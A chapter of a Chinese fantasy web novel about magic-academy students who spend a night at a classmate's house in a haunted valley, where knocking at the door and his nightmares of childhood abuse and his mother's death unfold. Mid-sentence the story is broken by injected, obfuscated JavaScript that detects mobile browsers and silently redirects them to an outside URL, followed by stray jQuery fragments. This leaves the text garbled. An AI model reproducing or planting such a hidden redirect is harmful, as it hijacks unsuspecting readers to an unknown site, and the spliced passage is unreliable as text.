景黎说完话,也给景弘疗愈了伤口,便将他们再次赶出魔力森林。
正巧,位置在魔力森林和幽冥谷的交界处。干脆稍微歇会儿就叫傅临渊领着去他家休养休养。
这时候没了外人,正适合将质疑的目光投向自己人。
联想到神荼变花的行为,大家都明白了他们俩一定是有什么瞒着自己的。
说不定他们不仅没事,还状态特别好呢!
学长学姐尴尬的挠挠头,“我们确实有特殊的办法解决。”
东南纥用力咳了咳,“把作业翻出来看看不?”
晏宁动作很快,立马打开星网,最后一条作业是取得学长学姐的认可。
显示已经完成了,后面甚至还有两个人的评语。
神荼寄语:晏宁是特别棒的班长哦!要继续加油呀。
东南纥寄语:能突破自己,战胜自己,更能重拾信心,快哉快哉,学长深感欣慰。
“大家不要生气,原谅我们啦。”神荼走到晏宁身旁,开始用灵力为她疗伤。
“现在我跟东南纥来给你们解除魔法的副作用吧。”
学姐声音很好听,动作很轻柔,不知不觉大家就觉得也不能都怪学姐……
肯定是学校的问题,怎么能怪善良真诚的好学姐呢?
于是,首先被治愈了的晏宁站起身来,毫不犹豫捶了东南纥一拳,坐下了。
东南纥:?
他懂了,狡猾多端的神荼刚刚一定是用了情绪类灵术,才让大家对神荼毫无怨言的。毕竟她施展灵术总是悄悄的,很难注意到。
失算了。
东南纥抱着被锤的脑袋叹气。
怎么他堂堂饕餮就是比不过这一小片水藻呢?
这么想着,他又被人捶了两下。
东南纥大怒:“不要太过分啊喂。”
又看看大家不怀好意的笑容,一怒之下怒了一下,讪讪道:“打人多不好啊,我脑袋疼,你们手也疼呀不是?”
大家哈哈大笑。
鱼绘颜开玩笑说,“如果早知道我们大体上是安全的,昨晚就不会那么焦虑了,没准清子会把笔头作业给解决掉。”
华绍清:“实际上……是简单写了一点。”
众人:?
怎么会有人在这种生死攸关的时候还有心情写作业的?!
殷子谙更是觉得,她这半神血统应该给华绍清当当才对,人类身份怎么配得上她?
说说笑笑间,夕阳西下,分明是夏天,温度也陡然降下去。
傅临渊立即站起身,“走吧,不要等晚上去,不好。”
“哪里不好,鬼屋不就是黑着才有氛围感吗?”和顺知道傅临渊怕,故意说。
“少胡说八道。幽冥谷夜晚本来就很危险好吗?你懂什么叫‘未知’吗?”
和顺敷衍式点头:“嗯嗯嗯,我不懂,你最懂。”
傅临渊:……
“总之快跟我走就对了。”
他一边走,一边简单介绍:“在这里,一切未知都有可能出现。具有很多违反常识的事情。所以在这儿很容易出事。大概也就是为什么我们会被轻而易举绑走吧。”
“尤其是夜晚,我们有的族人会把新诞生的小鬼们绑在家门口,第二天如果还活着,就能发生质的飞跃。”
“……好彪悍的民风。”
“咳,一般也不舍得这么对自己的小孩,这种小鬼一般是和幽冥谷有缘分的亡灵。死后受到指引成为我们的一员……”傅临渊咳了两声,目光移开,指向前方,“那里就是我家,走吧。”
顺着傅临渊指着的方向看,似乎确实不远。然而真正走起来,好像又不是那么一回事。
他们东拐西拐走了一段路,又转了个弯,但是眼前的屋子总是没有什么变化,看起来还是一样的远。
和顺有点沉不住气,便问:“你家到底要怎么走才能到啊?是有什么迷阵吗?”
傅临渊扬了扬下巴,“这你就不懂了吧?主打两个字:安全!”
和顺沉默了一下,才不可思议道:“所以你的意思是这个乱七八糟的阵是你布的?”
傅临渊点点头,哼了一声,“少小看我。”
“之前不是说最危险的地方是魔力森林吗?而且说你们各族之间已经停战了,怎么……”
又问了几句,聊着聊着,总算走到了他家门口。
屋子里空空荡荡的,没有人。问过才知道傅临渊的父母死在和平的前夕。
大家不免有点可惜,但傅临渊本人似乎并不伤感。
他把门窗关好,点了盏橘黄色的灯驱逐幽幽的夜色,又施了个降温的法术使空气凉爽了许多。屋子里就变得舒适多了。
“我家不大,只有两个卧室,就凑合着睡睡吧。”傅临渊说完,也不在意自己还没有吃晚饭,就开了房门进去了。
剩下的11个人面面相觑,“看来傅临渊回来这里确实很不舒服,现在连插科打诨,开开玩笑的心思都没有了。”
“既然现在没什么事,我们把作业写了吧。”华绍清说着,把作业拿出来。
众人:?
该说真不愧是学霸吗?
无语了一下,倒也觉得她说的有道理,于是纷纷找了椅子凳子,埋头苦写。
殷子谙抢到了桌子,很高兴。她注意到除了学长学姐外,希昼也没着急写作业,而是靠墙倚着,和学姐在聊天。
“希昼,你不写作业吗?”
希昼浅笑,“已经写完啦,你加油哦。”
殷子谙:?
“厉害。”
“原来,人类就是这种勤奋的性格吗?”
“别,懒癌多的很。比如我,一个字还没动。”和顺连忙澄清人类的性格。“我看希昼和华绍清才是异类。”
“……”和顺突然又想起一件事,“殷子谙,你和华绍清不都是一个魔法学院出来的优秀毕业生吗?看起来你比她摆好多诶。”
“我好歹比华绍清多活了好多年诶。”殷子谙不满道,“虽然神啊魔啊什么的幼年期比较长,心智成熟的也比较晚,但也不代表这么多年的饭是白吃的呀!”
说着,忽然听见木门和玻璃被拍打的声音。
希昼走过去查看,这才注意到门框上有暗红色的血迹,看起来干涸很久了,估计最早也是傅临渊来到星河前发生的了。
思及傅临渊说的晚上不安全,希昼没有贸然开门。玻璃是磨砂的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388054|160357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彩色玻璃,外面什么也看不清。
于是用灵术透过墙壁,一时什么也没看见。
“可能是风比较大?”希昼猜测。
话音刚落,敲门声更响亮了。
大家想着既然傅临渊就这么睡觉去了,想来只要不开门应该没大事。于是殷子谙昧着良心道:“估计是风太大吧,我们弄完了早点休息。”
大家纷纷点头称是。
屋外“砰砰砰”的声音愈发急了,夹杂着点模糊的句子。
“临…渊。”
“爸爸……”
不太真切。
希昼猜想这些句子里一定有什么让傅临渊难受的东西,这才让他急急忙忙就要回屋休息去。
也许是童年的经历,也许是所谓夜晚的危险与未知……
大家心里都有些不安,就没怎么写作业,敷衍了一两页就各自去卧室睡觉了。
几个男生就往傅临渊待的卧室走。
推开门,里面更亮,宛如白昼。
那个深紫色头发的家伙把自己团起来,蜷缩在床的一角,发出惊恐的声音,压抑着痛苦。
凑近了瞧,满身是汗,发梢都湿漉漉的,无精打采在脑袋上,脖子边。
他完全没发现小伙伴们进来了。
怪不得他自己这么早一个人待着,原来是怕同学看见自己这样狼狈的模样。
和顺推了他两下,没把他弄醒。
“这下怎么办?”和顺愁道。
.
“要是我们立了大功……”
“到底是捡来的……”
“以后肯定不会忘了他这份功劳的。”
“做哥哥的,是应该……”
“早该死了的……我们救了他。”
“小孩子嘛,能懂个啥?”
细细碎碎的交谈隔着五彩的玻璃,从屋内悠悠传来。
而在深深的夜色里,弥漫着未知的恐惧中,勉强恢复了的心神的小孩子静静的听。
坚硬的麻绳深深咬住他的皮肉,让他在屋外院子里的大树上,无法脱离半分。
因为绑的太紧,又或者因为他曾剧烈的挣扎过。丝丝的血迹,就从绳下溢出。
他记得的,之所以这样是因为他不听话,扒着门框试图躲进安全的巢穴。
断断续续听了几句,新的困境悄然降临。
大地崩裂,房屋倒塌,枝干被狂风折下。
傅临渊仰头去看,一只大手遮住了他的视线,只剩一团漆黑。
“临渊,等和平了,妈妈就能带你去玩。”女人很坚强,只面对自己的孩子软了嗓音。
……又来了。
他颤抖着,知晓再过两分钟,敌人就会随手摘下母亲的脑袋,呼啸而过。
而他,是死在母亲逐渐僵硬的怀里的,是死在大地和母亲所形成的密不透风的怀抱里。
他不是第一次重温旧事了。可偏偏每一次都让他战栗。
当然,现在的他不至于因为弱小到连推开母亲的尸体也做不到。但所谓未知,有时候也会有失去了脑袋的母亲,用她苍白的手扼住他脖颈的时候。
他没死过,因为如果被幽冥谷的夜晚杀死,就再也不会活过来了。